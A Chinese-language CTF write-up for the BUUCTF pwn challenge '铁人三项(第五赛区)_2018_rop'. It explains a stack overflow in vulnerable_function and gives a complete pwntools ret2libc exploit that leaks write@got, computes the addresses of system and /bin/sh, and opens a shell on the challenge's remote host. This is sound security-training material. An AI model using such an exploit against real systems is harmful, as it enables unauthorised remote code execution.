铁人三项(第五赛区)_2018_rop
使用checksec
查看:
只开启了栈不可执行。
先放进IDA中分析:
- 给出了漏洞函数,直接跟过去查看吧。
vulnerable_function()
:
return read(0, &buf, 0x100u);
:可以读入0x100
大小的数据,存在栈溢出。
题目思路
- 存在栈溢出。
- 程序中无
system()
和/bin/sh
字符串。 - 利用
write()
函数泄露地址。 - 使用ret2libc的方式getshell。
步骤解析:
先利用
write()
函数通过栈溢出,泄露出write@got
的地址。
接着确定libc之后,计算出
system()
和/bin/bash
的地址。
再次利用栈溢出即可geshell。
完整exp
from pwn import *
#start
r = remote("node4.buuoj.cn",26594)
# r = process("../buu/铁人三项(第五赛区)_2018_rop")
elf = ELF("../buu/铁人三项(第五赛区)_2018_rop")
libc = ELF("../buu/ubuntu18(32).so")
#params
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.symbols['main']
#attack
payload = b'M'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))
print("write_addr: " + hex(write_addr))
#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr" + hex(bin_sh_addr))
#attack2
payload2 = b'M'*(0x88+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload2)
r.interactive()